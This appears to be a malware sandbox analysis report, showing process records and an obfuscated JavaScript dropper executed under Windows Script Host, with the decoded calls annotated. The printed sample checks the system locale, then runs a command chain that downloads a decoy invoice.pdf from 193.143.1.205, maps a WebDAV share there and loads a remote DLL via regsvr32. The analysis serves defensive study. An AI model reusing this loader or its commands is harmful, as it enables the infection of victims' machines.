Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	03:04:15
Start date:	13/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff66e660000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	03:04:18
Start date:	13/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	03:04:21
Start date:	13/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	03:04:22
Start date:	13/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=1636 --field-trial-handle=1532,i,17580937452729996995,620727007829865619,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function nnbzdx() {	nnbzdx() ➔ undefined
1	zdrdc = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var jefushb = this[udfqd + bzwmwftq + hphvvak + qailkk + utugr + xwjgkmrtz + rxczcxsi + vlqqpg] ( this[pgacokpvb + djaarxn + wjpxxxd + hphvvak + pynwomw + udfqd + vlqqpg][okkhk + hphvvak + utugr + bzwmwftq + vlqqpg + utugr + rlhiqc + salznhfkr + watcfklov + utugr + wjpxxxd + vlqqpg] ( pgacokpvb + djaarxn + wjpxxxd + hphvvak + pynwomw + udfqd + vlqqpg + eozsvr + djaarxn + bvgzno + utugr + avwsnue + avwsnue ) [liytk + utugr + hxxix + liytk + utugr + bzwmwftq + jowaixsv] ( sxadponsb + jrilrrvkw + umdmfe + jwwyaxxm + uiwoidr + okkhk + vgtwfl + liytk + liytk + umdmfe + mwryi + jjckoc + uiwoidr + vgtwfl + djaarxn + umdmfe + liytk + tsjaa + okkhk + cpukff + rxczcxsi + vlqqpg + hphvvak + cpukff + avwsnue + uzjxckbhd + wkrpcjnbs + bzwmwftq + rxczcxsi + utugr + avwsnue + tsjaa + xwjgkmrtz + rxczcxsi + vlqqpg + utugr + hphvvak + rxczcxsi + bzwmwftq + vlqqpg + pynwomw + cpukff + rxczcxsi + bzwmwftq + avwsnue + tsjaa + jkueyafg + cpukff + wjpxxxd + bzwmwftq + avwsnue + utugr ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( aypngjxc = 0 ; aypngjxc < zdrdc[avwsnue + utugr + rxczcxsi + hxxix + vlqqpg + bvgzno] ; ++ aypngjxc )
4	{
5	if ( jefushb == zdrdc[aypngjxc] )
6	{
7	jefushb = true;
8	break ;
9	}
10	}
11	if ( jefushb !== true )
12	this[pgacokpvb + djaarxn + wjpxxxd + hphvvak + pynwomw + udfqd + vlqqpg][udlblucjl + dlpqn + pynwomw + vlqqpg] ( );
13	this[pgacokpvb + djaarxn + wjpxxxd + hphvvak + pynwomw + udfqd + vlqqpg][okkhk + hphvvak + utugr + bzwmwftq + vlqqpg + utugr + rlhiqc + salznhfkr + watcfklov + utugr + wjpxxxd + vlqqpg] ( pgacokpvb + djaarxn + wjpxxxd + hphvvak + pynwomw + udfqd + vlqqpg + eozsvr + djaarxn + bvgzno + utugr + avwsnue + avwsnue ) [hphvvak + dlpqn + rxczcxsi] ( wjpxxxd + gztqqbdxb + jowaixsv + uzjxckbhd + htday + wjpxxxd + uzjxckbhd + udfqd + cpukff + ordmg + utugr + hphvvak + qailkk + bvgzno + utugr + avwsnue + avwsnue + eozsvr + utugr + rczva + utugr + uzjxckbhd + cdvhei + okkhk + cpukff + gztqqbdxb + gztqqbdxb + bzwmwftq + rxczcxsi + jowaixsv + uzjxckbhd + pajiizqss + xwjgkmrtz + rxczcxsi + qyospay + cpukff + bumoileb + utugr + cdvhei + pgacokpvb + utugr + salznhfkr + liytk + utugr + mxajpq + dlpqn + utugr + qailkk + vlqqpg + uzjxckbhd + cdvhei + rlhiqc + dlpqn + vlqqpg + azmghzsn + pynwomw + avwsnue + utugr + uzjxckbhd + mjnwujlcm + vlqqpg + utugr + gztqqbdxb + udfqd + mjnwujlcm + tsjaa + pynwomw + rxczcxsi + qyospay + cpukff + pynwomw + wjpxxxd + utugr + eozsvr + udfqd + jowaixsv + yncqlu + uzjxckbhd + bvgzno + vlqqpg + vlqqpg + udfqd + jraapm + htday + htday + lvhnhvsce + vquqwjz + qmwinkx + eozsvr + lvhnhvsce + yreok + qmwinkx + eozsvr + lvhnhvsce + eozsvr + rzydw + hdbrbig + kopeh + htday + pynwomw + rxczcxsi + qyospay + cpukff + pynwomw + wjpxxxd + utugr + eozsvr + udfqd + bvgzno + udfqd + pajiizqss + mxcxz + mxcxz + qailkk + vlqqpg + bzwmwftq + hphvvak + vlqqpg + uzjxckbhd + mjnwujlcm + vlqqpg + utugr + gztqqbdxb + udfqd + mjnwujlcm + tsjaa + pynwomw + rxczcxsi + qyospay + cpukff + pynwomw + wjpxxxd + utugr + eozsvr + udfqd + jowaixsv + yncqlu + mxcxz + mxcxz + wjpxxxd + gztqqbdxb + jowaixsv + uzjxckbhd + htday + wjpxxxd + uzjxckbhd + rxczcxsi + utugr + vlqqpg + uzjxckbhd + dlpqn + qailkk + utugr + uzjxckbhd + tsjaa + tsjaa + lvhnhvsce + vquqwjz + qmwinkx + eozsvr + lvhnhvsce + yreok + qmwinkx + eozsvr + lvhnhvsce + eozsvr + rzydw + hdbrbig + kopeh + sbaohppxl + hknsysf + hknsysf + hknsysf + hknsysf + tsjaa + jowaixsv + bzwmwftq + qyospay + ordmg + ordmg + ordmg + hphvvak + cpukff + cpukff + vlqqpg + tsjaa + mxcxz + mxcxz + wjpxxxd + gztqqbdxb + jowaixsv + uzjxckbhd + htday + wjpxxxd + uzjxckbhd + hphvvak + utugr + hxxix + qailkk + qyospay + hphvvak + qmwinkx + rzydw + uzjxckbhd + htday + qailkk + uzjxckbhd + tsjaa + tsjaa + lvhnhvsce + vquqwjz + qmwinkx + eozsvr + lvhnhvsce + yreok + qmwinkx + eozsvr + lvhnhvsce + eozsvr + rzydw + hdbrbig + kopeh + sbaohppxl + hknsysf + hknsysf + hknsysf + hknsysf + tsjaa + jowaixsv + bzwmwftq + qyospay + ordmg + ordmg + ordmg + hphvvak + cpukff + cpukff + vlqqpg + tsjaa + lvhnhvsce + lvhnhvsce + hdbrbig + vquqwjz + rzydw + lvhnhvsce + vquqwjz + lvhnhvsce + vquqwjz + qmwinkx + hxencgiy + qmwinkx + rzydw + eozsvr + jowaixsv + avwsnue + avwsnue, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1109219193632.dll",0,false) ➔ 0
14	}
15	rxczcxsi = "h";
16	rxczcxsi = "m";
17	rxczcxsi = "F";
18	rxczcxsi = "u";
19	rxczcxsi = "m";
20	rxczcxsi = "D";
21	rxczcxsi = "V";
22	rxczcxsi = "l";
23	rxczcxsi = "l";
24	rxczcxsi = "f";
25	rxczcxsi = "K";
26	rxczcxsi = "Z";
27	rxczcxsi = "P";
28	rxczcxsi = "S";
29	rxczcxsi = "o";
30	rxczcxsi = "i";
31	rxczcxsi = "F";
32	rxczcxsi = "y";
33	rxczcxsi = "U";
34	rxczcxsi = "h";
35	rxczcxsi = "J";
36	rxczcxsi = "y";
37	rxczcxsi = "q";
38	rxczcxsi = "l";
39	rxczcxsi = "S";
40	rxczcxsi = "z";
41	rxczcxsi = "i";
42	rxczcxsi = "n";
43	rxczcxsi = "R";
44	rxczcxsi = "k";
45	rxczcxsi = "k";
46	rxczcxsi = "r";
47	rxczcxsi = "n";
48	rxczcxsi = "E";
49	rxczcxsi = "n";
50	cdvhei = "d";
51	cdvhei = "W";
52	cdvhei = "Q";
53	cdvhei = "V";
54	cdvhei = "d";
55	cdvhei = "w";
56	cdvhei = "X";
57	cdvhei = "D";
58	cdvhei = "m";
59	cdvhei = "f";
60	cdvhei = "M";
61	cdvhei = "V";
62	cdvhei = "m";
63	cdvhei = "g";
64	cdvhei = "Y";
65	cdvhei = "X";
66	cdvhei = "G";
67	cdvhei = "U";
68	cdvhei = "k";
69	cdvhei = "E";
70	cdvhei = "q";
71	cdvhei = "b";
72	cdvhei = "Z";
73	cdvhei = "x";
74	cdvhei = "s";
75	cdvhei = "g";
76	cdvhei = "I";
77	cdvhei = "l";
78	cdvhei = "x";
79	cdvhei = "j";
80	cdvhei = "l";
81	cdvhei = "m";
82	cdvhei = "W";
83	cdvhei = "f";
84	cdvhei = "u";
85	cdvhei = "h";
86	cdvhei = "z";
87	cdvhei = "V";
88	cdvhei = "l";
89	cdvhei = "A";
90	cdvhei = "l";
91	cdvhei = "z";
92	cdvhei = "t";
93	cdvhei = "D";
94	cdvhei = "-";
95	avwsnue = "d";
96	avwsnue = "F";
97	avwsnue = "R";
98	avwsnue = "k";
99	avwsnue = "Q";
100	avwsnue = "T";
101	avwsnue = "W";
102	avwsnue = "S";
103	avwsnue = "l";
104	avwsnue = "o";
105	avwsnue = "M";
106	avwsnue = "v";
107	avwsnue = "r";
108	avwsnue = "J";
109	avwsnue = "Q";
110	avwsnue = "u";
111	avwsnue = "h";
112	avwsnue = "W";
113	avwsnue = "D";
114	avwsnue = "l";
115	utugr = "y";
116	utugr = "t";
117	utugr = "a";
118	utugr = "Q";
119	utugr = "w";
120	utugr = "Q";
121	utugr = "l";
122	utugr = "Y";
123	utugr = "c";
124	utugr = "l";
125	utugr = "j";
126	utugr = "T";
127	utugr = "i";
128	utugr = "C";
129	utugr = "o";
130	utugr = "j";
131	utugr = "e";
132	utugr = "N";
133	utugr = "x";
134	utugr = "i";
135	utugr = "d";
136	utugr = "V";
137	utugr = "P";
138	utugr = "C";
139	utugr = "E";
140	utugr = "D";
141	utugr = "c";
142	utugr = "S";
143	utugr = "T";
144	utugr = "W";
145	utugr = "m";
146	utugr = "e";
147	hxxix = "o";
148	hxxix = "S";
149	hxxix = "D";
150	hxxix = "Q";
151	hxxix = "Y";
152	hxxix = "X";
153	hxxix = "S";
154	hxxix = "g";
155	wkrpcjnbs = "G";
156	wkrpcjnbs = "b";
157	wkrpcjnbs = "M";
158	wkrpcjnbs = "S";
159	wkrpcjnbs = "B";
160	wkrpcjnbs = "M";
161	wkrpcjnbs = "h";
162	wkrpcjnbs = "W";
163	wkrpcjnbs = "N";
164	wkrpcjnbs = "A";
165	wkrpcjnbs = "i";
166	wkrpcjnbs = "V";
167	wkrpcjnbs = "X";
168	wkrpcjnbs = "N";
169	wkrpcjnbs = "p";
170	wkrpcjnbs = "E";
171	wkrpcjnbs = "B";
172	wkrpcjnbs = "w";
173	wkrpcjnbs = "j";
174	wkrpcjnbs = "F";
175	wkrpcjnbs = "I";
176	wkrpcjnbs = "f";
177	wkrpcjnbs = "K";
178	wkrpcjnbs = "V";
179	wkrpcjnbs = "H";
180	wkrpcjnbs = "q";
181	wkrpcjnbs = "l";
182	wkrpcjnbs = "t";
183	wkrpcjnbs = "e";
184	wkrpcjnbs = "O";
185	wkrpcjnbs = "d";
186	wkrpcjnbs = "M";
187	wkrpcjnbs = "v";
188	wkrpcjnbs = "K";
189	wkrpcjnbs = "K";
190	wkrpcjnbs = "l";
191	wkrpcjnbs = "Z";
192	wkrpcjnbs = "L";
193	wkrpcjnbs = "D";
194	wkrpcjnbs = "n";
195	wkrpcjnbs = "u";
196	wkrpcjnbs = "e";
197	wkrpcjnbs = "P";
198	bumoileb = "t";
199	bumoileb = "H";
200	bumoileb = "y";
201	bumoileb = "Q";
202	bumoileb = "R";
203	bumoileb = "k";
204	bumoileb = "n";
205	bumoileb = "T";
206	bumoileb = "g";
207	bumoileb = "k";
208	bvgzno = "V";
209	bvgzno = "M";
210	bvgzno = "f";
211	bvgzno = "d";
212	bvgzno = "K";
213	bvgzno = "h";
214	kopeh = "M";
215	kopeh = "Q";
216	kopeh = "r";
217	kopeh = "T";
218	kopeh = "p";
219	kopeh = "5";
220	jrilrrvkw = "L";
221	jrilrrvkw = "i";
222	jrilrrvkw = "K";
223	mxcxz = "U";
224	mxcxz = "P";
225	mxcxz = "Y";
226	mxcxz = "L";
227	mxcxz = "B";
228	mxcxz = "H";
229	mxcxz = "q";
230	mxcxz = "X";
231	mxcxz = "d";
232	mxcxz = "b";
233	mxcxz = "O";
234	mxcxz = "X";
235	mxcxz = "T";
236	mxcxz = "L";
237	mxcxz = "e";
238	mxcxz = "i";
239	mxcxz = "m";
240	mxcxz = "r";
241	mxcxz = "L";
242	mxcxz = "P";
243	mxcxz = "L";
244	mxcxz = "v";
245	mxcxz = "Q";
246	mxcxz = "c";
247	mxcxz = "u";
248	mxcxz = "R";
249	mxcxz = "z";
250	mxcxz = "v";
251	mxcxz = "H";
252	mxcxz = "w";
253	mxcxz = "p";
254	mxcxz = "z";
255	mxcxz = "l";
256	mxcxz = "K";
257	mxcxz = "v";
258	mxcxz = "&";
259	vquqwjz = "j";
260	vquqwjz = "R";
261	vquqwjz = "c";
262	vquqwjz = "z";
263	vquqwjz = "o";
264	vquqwjz = "O";
265	vquqwjz = "Y";
266	vquqwjz = "I";
267	vquqwjz = "L";
268	vquqwjz = "m";
269	vquqwjz = "v";
270	vquqwjz = "E";
271	vquqwjz = "Q";
272	vquqwjz = "r";
273	vquqwjz = "F";
274	vquqwjz = "C";
275	vquqwjz = "l";
276	vquqwjz = "b";
277	vquqwjz = "E";
278	vquqwjz = "K";
279	vquqwjz = "X";
280	vquqwjz = "n";
281	vquqwjz = "9";
282	watcfklov = "W";
283	watcfklov = "q";
284	watcfklov = "j";
285	watcfklov = "z";
286	watcfklov = "u";
287	watcfklov = "X";
288	watcfklov = "A";
289	watcfklov = "R";
290	watcfklov = "u";
291	watcfklov = "W";
292	watcfklov = "H";
293	watcfklov = "O";
294	watcfklov = "x";
295	watcfklov = "I";
296	watcfklov = "w";
297	watcfklov = "N";
298	watcfklov = "j";
299	sbaohppxl = "f";
300	sbaohppxl = "G";
301	sbaohppxl = "@";
302	cpukff = "K";
303	cpukff = "o";
304	cpukff = "i";
305	cpukff = "K";
306	cpukff = "c";
307	cpukff = "o";
308	gztqqbdxb = "w";
309	gztqqbdxb = "H";
310	gztqqbdxb = "f";
311	gztqqbdxb = "N";
312	gztqqbdxb = "q";
313	gztqqbdxb = "Q";
314	gztqqbdxb = "M";
315	gztqqbdxb = "l";
316	gztqqbdxb = "F";
317	gztqqbdxb = "C";
318	gztqqbdxb = "A";
319	gztqqbdxb = "O";
320	gztqqbdxb = "o";
321	gztqqbdxb = "m";
322	mxajpq = "r";
323	mxajpq = "x";
324	mxajpq = "u";
325	mxajpq = "A";
326	mxajpq = "G";
327	mxajpq = "t";
328	mxajpq = "b";
329	mxajpq = "W";
330	mxajpq = "l";
331	mxajpq = "U";
332	mxajpq = "R";
333	mxajpq = "g";
334	mxajpq = "N";
335	mxajpq = "Z";
336	mxajpq = "p";
337	mxajpq = "z";
338	mxajpq = "i";
339	mxajpq = "l";
340	mxajpq = "l";
341	mxajpq = "a";
342	mxajpq = "S";
343	mxajpq = "r";
344	mxajpq = "Q";
345	mxajpq = "F";
346	mxajpq = "W";
347	mxajpq = "t";
348	mxajpq = "C";
349	mxajpq = "y";
350	mxajpq = "U";
351	mxajpq = "F";
352	mxajpq = "u";
353	mxajpq = "D";
354	mxajpq = "P";
355	mxajpq = "X";
356	mxajpq = "z";
357	mxajpq = "Y";
358	mxajpq = "d";
359	mxajpq = "W";
360	mxajpq = "X";
361	mxajpq = "O";
362	mxajpq = "q";
363	qyospay = "P";
364	qyospay = "z";
365	qyospay = "E";
366	qyospay = "W";
367	qyospay = "K";
368	qyospay = "d";
369	qyospay = "k";
370	qyospay = "y";
371	qyospay = "k";
372	qyospay = "v";
373	yncqlu = "Q";
374	yncqlu = "V";
375	yncqlu = "H";
376	yncqlu = "F";
377	yncqlu = "n";
378	yncqlu = "b";
379	yncqlu = "C";
380	yncqlu = "h";
381	yncqlu = "e";
382	yncqlu = "Q";
383	yncqlu = "A";
384	yncqlu = "z";
385	yncqlu = "G";
386	yncqlu = "p";
387	yncqlu = "f";
388	yncqlu = "U";
389	yncqlu = "n";
390	yncqlu = "g";
391	yncqlu = "s";
392	yncqlu = "j";
393	yncqlu = "G";
394	yncqlu = "c";
395	yncqlu = "K";
396	yncqlu = "L";
397	yncqlu = "f";
398	lvhnhvsce = "W";
399	lvhnhvsce = "G";
400	lvhnhvsce = "x";
401	lvhnhvsce = "m";
402	lvhnhvsce = "I";
403	lvhnhvsce = "t";
404	lvhnhvsce = "L";
405	lvhnhvsce = "t";
406	lvhnhvsce = "q";
407	lvhnhvsce = "P";
408	lvhnhvsce = "Q";
409	lvhnhvsce = "V";
410	lvhnhvsce = "Q";
411	lvhnhvsce = "L";
412	lvhnhvsce = "I";
413	lvhnhvsce = "T";
414	lvhnhvsce = "u";
415	lvhnhvsce = "O";
416	lvhnhvsce = "y";
417	lvhnhvsce = "M";
418	lvhnhvsce = "y";
419	lvhnhvsce = "q";
420	lvhnhvsce = "p";
421	lvhnhvsce = "r";
422	lvhnhvsce = "q";
423	lvhnhvsce = "N";
424	lvhnhvsce = "a";
425	lvhnhvsce = "n";
426	lvhnhvsce = "S";
427	lvhnhvsce = "c";
428	lvhnhvsce = "1";
429	rlhiqc = "V";
430	rlhiqc = "N";
431	rlhiqc = "y";
432	rlhiqc = "r";
433	rlhiqc = "F";
434	rlhiqc = "n";
435	rlhiqc = "Z";
436	rlhiqc = "C";
437	rlhiqc = "Q";
438	rlhiqc = "m";
439	rlhiqc = "j";
440	rlhiqc = "n";
441	rlhiqc = "G";
442	rlhiqc = "g";
443	rlhiqc = "s";
444	rlhiqc = "i";
445	rlhiqc = "K";
446	rlhiqc = "V";
447	rlhiqc = "P";
448	rlhiqc = "P";
449	rlhiqc = "M";
450	rlhiqc = "G";
451	rlhiqc = "J";
452	rlhiqc = "y";
453	rlhiqc = "y";
454	rlhiqc = "r";
455	rlhiqc = "N";
456	rlhiqc = "G";
457	rlhiqc = "x";
458	rlhiqc = "a";
459	rlhiqc = "O";
460	pgacokpvb = "R";
461	pgacokpvb = "S";
462	pgacokpvb = "h";
463	pgacokpvb = "Z";
464	pgacokpvb = "B";
465	pgacokpvb = "m";
466	pgacokpvb = "D";
467	pgacokpvb = "r";
468	pgacokpvb = "E";
469	pgacokpvb = "h";
470	pgacokpvb = "l";
471	pgacokpvb = "u";
472	pgacokpvb = "P";
473	pgacokpvb = "b";
474	pgacokpvb = "I";
475	pgacokpvb = "F";
476	pgacokpvb = "Y";
477	pgacokpvb = "p";
478	pgacokpvb = "b";
479	pgacokpvb = "s";
480	pgacokpvb = "W";
481	okkhk = "T";
482	okkhk = "U";
483	okkhk = "y";
484	okkhk = "d";
485	okkhk = "h";
486	okkhk = "p";
487	okkhk = "F";
488	okkhk = "n";
489	okkhk = "B";
490	okkhk = "H";
491	okkhk = "S";
492	okkhk = "q";
493	okkhk = "v";
494	okkhk = "w";
495	okkhk = "D";
496	okkhk = "q";
497	okkhk = "O";
498	okkhk = "P";
499	okkhk = "c";
500	okkhk = "Q";
501	okkhk = "i";
502	okkhk = "s";
503	okkhk = "n";
504	okkhk = "J";
505	okkhk = "k";
506	okkhk = "a";
507	okkhk = "P";
508	okkhk = "m";
509	okkhk = "m";
510	okkhk = "l";
511	okkhk = "q";
512	okkhk = "D";
513	okkhk = "V";
514	okkhk = "K";
515	okkhk = "C";
516	udlblucjl = "q";
517	udlblucjl = "A";
518	udlblucjl = "z";
519	udlblucjl = "S";
520	udlblucjl = "q";
521	udlblucjl = "S";
522	udlblucjl = "z";
523	udlblucjl = "D";
524	udlblucjl = "P";
525	udlblucjl = "i";
526	udlblucjl = "L";
527	udlblucjl = "p";
528	udlblucjl = "Z";
529	udlblucjl = "W";
530	udlblucjl = "Y";
531	udlblucjl = "i";
532	udlblucjl = "i";
533	udlblucjl = "w";
534	udlblucjl = "F";
535	udlblucjl = "Q";
536	udlblucjl = "U";
537	udlblucjl = "Y";
538	udlblucjl = "J";
539	udlblucjl = "B";
540	udlblucjl = "L";
541	udlblucjl = "e";
542	udlblucjl = "D";
543	udlblucjl = "C";
544	udlblucjl = "o";
545	udlblucjl = "d";
546	udlblucjl = "C";
547	udlblucjl = "s";
548	udlblucjl = "h";
549	udlblucjl = "x";
550	udlblucjl = "U";
551	udlblucjl = "k";
552	udlblucjl = "J";
553	udlblucjl = "I";
554	udlblucjl = "V";
555	udlblucjl = "G";
556	udlblucjl = "w";
557	udlblucjl = "y";
558	udlblucjl = "Q";
559	jraapm = "g";
560	jraapm = "D";
561	jraapm = "d";
562	jraapm = "i";
563	jraapm = "D";
564	jraapm = "r";
565	jraapm = "j";
566	jraapm = "J";
567	jraapm = ":";
568	vlqqpg = "U";
569	vlqqpg = "p";
570	vlqqpg = "w";
571	vlqqpg = "h";
572	vlqqpg = "U";
573	vlqqpg = "T";
574	vlqqpg = "r";
575	vlqqpg = "U";
576	vlqqpg = "t";
577	bzwmwftq = "v";
578	bzwmwftq = "O";
579	bzwmwftq = "P";
580	bzwmwftq = "B";
581	bzwmwftq = "R";
582	bzwmwftq = "m";
583	bzwmwftq = "d";
584	bzwmwftq = "u";
585	bzwmwftq = "f";
586	bzwmwftq = "N";
587	bzwmwftq = "a";
588	pynwomw = "h";
589	pynwomw = "i";
590	pynwomw = "e";
591	pynwomw = "t";
592	pynwomw = "h";
593	pynwomw = "B";
594	pynwomw = "k";
595	pynwomw = "s";
596	pynwomw = "c";
597	pynwomw = "A";
598	pynwomw = "v";
599	pynwomw = "D";
600	pynwomw = "s";
601	pynwomw = "A";
602	pynwomw = "l";
603	pynwomw = "N";
604	pynwomw = "H";
605	pynwomw = "t";
606	pynwomw = "o";
607	pynwomw = "A";
608	pynwomw = "V";
609	pynwomw = "f";
610	pynwomw = "m";
611	pynwomw = "M";
612	pynwomw = "i";
613	hphvvak = "m";
614	hphvvak = "b";
615	hphvvak = "N";
616	hphvvak = "o";
617	hphvvak = "u";
618	hphvvak = "T";
619	hphvvak = "K";
620	hphvvak = "R";
621	hphvvak = "Z";
622	hphvvak = "C";
623	hphvvak = "w";
624	hphvvak = "G";
625	hphvvak = "n";
626	hphvvak = "A";
627	hphvvak = "K";
628	hphvvak = "Q";
629	hphvvak = "B";
630	hphvvak = "j";
631	hphvvak = "r";
632	hphvvak = "I";
633	hphvvak = "U";
634	hphvvak = "h";
635	hphvvak = "p";
636	hphvvak = "U";
637	hphvvak = "r";
638	pajiizqss = "S";
639	pajiizqss = "z";
640	pajiizqss = "r";
641	pajiizqss = "J";
642	pajiizqss = "v";
643	pajiizqss = "J";
644	pajiizqss = "n";
645	pajiizqss = "m";
646	pajiizqss = "y";
647	pajiizqss = "h";
648	pajiizqss = "p";
649	pajiizqss = "m";
650	pajiizqss = "k";
651	pajiizqss = "U";
652	pajiizqss = "q";
653	pajiizqss = "Q";
654	pajiizqss = "O";
655	pajiizqss = "b";
656	pajiizqss = "e";
657	pajiizqss = "l";
658	pajiizqss = "K";
659	pajiizqss = "V";
660	pajiizqss = "h";
661	pajiizqss = "Y";
662	pajiizqss = "e";
663	pajiizqss = "j";
664	pajiizqss = "G";
665	pajiizqss = "s";
666	pajiizqss = "P";
667	pajiizqss = "n";
668	pajiizqss = "k";
669	pajiizqss = "c";
670	pajiizqss = "r";
671	pajiizqss = "p";
672	pajiizqss = "J";
673	pajiizqss = "S";
674	pajiizqss = "\"";
675	wjpxxxd = "b";
676	wjpxxxd = "U";
677	wjpxxxd = "N";
678	wjpxxxd = "j";
679	wjpxxxd = "X";
680	wjpxxxd = "A";
681	wjpxxxd = "b";
682	wjpxxxd = "H";
683	wjpxxxd = "t";
684	wjpxxxd = "P";
685	wjpxxxd = "j";
686	wjpxxxd = "K";
687	wjpxxxd = "a";
688	wjpxxxd = "k";
689	wjpxxxd = "R";
690	wjpxxxd = "K";
691	wjpxxxd = "i";
692	wjpxxxd = "c";
693	jjckoc = "K";
694	jjckoc = "v";
695	jjckoc = "b";
696	jjckoc = "V";
697	jjckoc = "C";
698	jjckoc = "A";
699	jjckoc = "M";
700	jjckoc = "F";
701	jjckoc = "l";
702	jjckoc = "u";
703	jjckoc = "Z";
704	jjckoc = "X";
705	jjckoc = "H";
706	jjckoc = "L";
707	jjckoc = "F";
708	jjckoc = "R";
709	jjckoc = "H";
710	jjckoc = "N";
711	jjckoc = "o";
712	jjckoc = "B";
713	jjckoc = "h";
714	jjckoc = "X";
715	jjckoc = "s";
716	jjckoc = "R";
717	jjckoc = "P";
718	jjckoc = "Y";
719	jjckoc = "r";
720	jjckoc = "s";
721	jjckoc = "V";
722	jjckoc = "C";
723	jjckoc = "M";
724	jjckoc = "T";
725	mwryi = "y";
726	mwryi = "S";
727	mwryi = "B";
728	mwryi = "j";
729	mwryi = "d";
730	mwryi = "r";
731	mwryi = "W";
732	mwryi = "c";
733	mwryi = "O";
734	mwryi = "h";
735	mwryi = "j";
736	mwryi = "R";
737	mwryi = "o";
738	mwryi = "b";
739	mwryi = "O";
740	mwryi = "w";
741	mwryi = "q";
742	mwryi = "a";
743	mwryi = "Z";
744	mwryi = "H";
745	mwryi = "R";
746	mwryi = "t";
747	mwryi = "a";
748	mwryi = "G";
749	mwryi = "t";
750	mwryi = "v";
751	mwryi = "N";
752	rczva = "Z";
753	rczva = "r";
754	rczva = "d";
755	rczva = "r";
756	rczva = "d";
757	rczva = "x";
758	liytk = "Y";
759	liytk = "O";
760	liytk = "O";
761	liytk = "Z";
762	liytk = "X";
763	liytk = "T";
764	liytk = "D";
765	liytk = "G";
766	liytk = "V";
767	liytk = "R";
768	liytk = "t";
769	liytk = "f";
770	liytk = "v";
771	liytk = "O";
772	liytk = "q";
773	liytk = "A";
774	liytk = "G";
775	liytk = "B";
776	liytk = "X";
777	liytk = "z";
778	liytk = "q";
779	liytk = "y";
780	liytk = "y";
781	liytk = "a";
782	liytk = "R";
783	jwwyaxxm = "t";
784	jwwyaxxm = "P";
785	jwwyaxxm = "f";
786	jwwyaxxm = "m";
787	jwwyaxxm = "j";
788	jwwyaxxm = "x";
789	jwwyaxxm = "X";
790	jwwyaxxm = "l";
791	jwwyaxxm = "q";
792	jwwyaxxm = "F";
793	jwwyaxxm = "b";
794	jwwyaxxm = "Y";
795	jwwyaxxm = "V";
796	jwwyaxxm = "F";
797	jwwyaxxm = "g";
798	jwwyaxxm = "X";
799	jwwyaxxm = "k";
800	jwwyaxxm = "o";
801	jwwyaxxm = "O";
802	jwwyaxxm = "o";
803	jwwyaxxm = "o";
804	jwwyaxxm = "y";
805	jwwyaxxm = "X";
806	jwwyaxxm = "Y";
807	jwwyaxxm = "x";
808	jwwyaxxm = "b";
809	jwwyaxxm = "g";
810	jwwyaxxm = "u";
811	jwwyaxxm = "z";
812	jwwyaxxm = "Y";
813	vgtwfl = "l";
814	vgtwfl = "q";
815	vgtwfl = "O";
816	vgtwfl = "D";
817	vgtwfl = "q";
818	vgtwfl = "O";
819	vgtwfl = "x";
820	vgtwfl = "F";
821	vgtwfl = "E";
822	vgtwfl = "b";
823	vgtwfl = "U";
824	salznhfkr = "O";
825	salznhfkr = "i";
826	salznhfkr = "l";
827	salznhfkr = "r";
828	salznhfkr = "C";
829	salznhfkr = "m";
830	salznhfkr = "f";
831	salznhfkr = "t";
832	salznhfkr = "t";
833	salznhfkr = "T";
834	salznhfkr = "S";
835	salznhfkr = "Y";
836	salznhfkr = "g";
837	salznhfkr = "u";
838	salznhfkr = "B";
839	salznhfkr = "b";
840	salznhfkr = "b";
841	salznhfkr = "W";
842	salznhfkr = "F";
843	salznhfkr = "O";
844	salznhfkr = "M";
